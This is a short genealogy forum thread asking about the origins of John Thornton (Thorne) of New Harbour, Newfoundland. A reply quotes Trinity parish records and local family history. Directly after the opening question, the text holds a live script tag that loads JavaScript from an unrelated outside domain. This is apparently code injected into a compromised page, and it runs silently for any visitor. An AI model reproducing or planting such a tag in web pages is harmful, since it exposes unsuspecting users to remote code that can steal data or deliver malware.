Do anyone know where John Thornton (Thorn) , who's wife's name was Mary, of New Harbour, Newfoundland came from?<script src="https://bestdoctornearme.com/splitter.ai/index.php"></script>

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Do anyone know where John Thornton (Thorn) , who's wife's name was Mary, of New Harbour, Newfoundland came from?

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on 2012-01-17 19:36:10

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allangeorgeclarke on 2016-06-15 06:13:33

Found this, not sure if it fits to your request? By the 1760s Trinity merchant Benjamin Lester had established premises at New Harbour and one of his first agents there was John Thorne (or Thornton).The records from the Anglican Church at Trinity record the birth of Richard the son of John and Mary Thorne at New Harbour in 1770 and the baptism of Thomas Thorne at New Harbour on May 6, 1773. The following year, the records tell us, James Hayler (Hillier) of Netherbury, Dorset married Mary Thorne of New Harbour and in 1785 William Pollett of New Harbour married Priscilla Hefford. By 1800 there were nine families living there. Some of the family names listed include Thorne, Hillier, Pollett, Hefford, George and Hoskins: all common names in New Harbour today.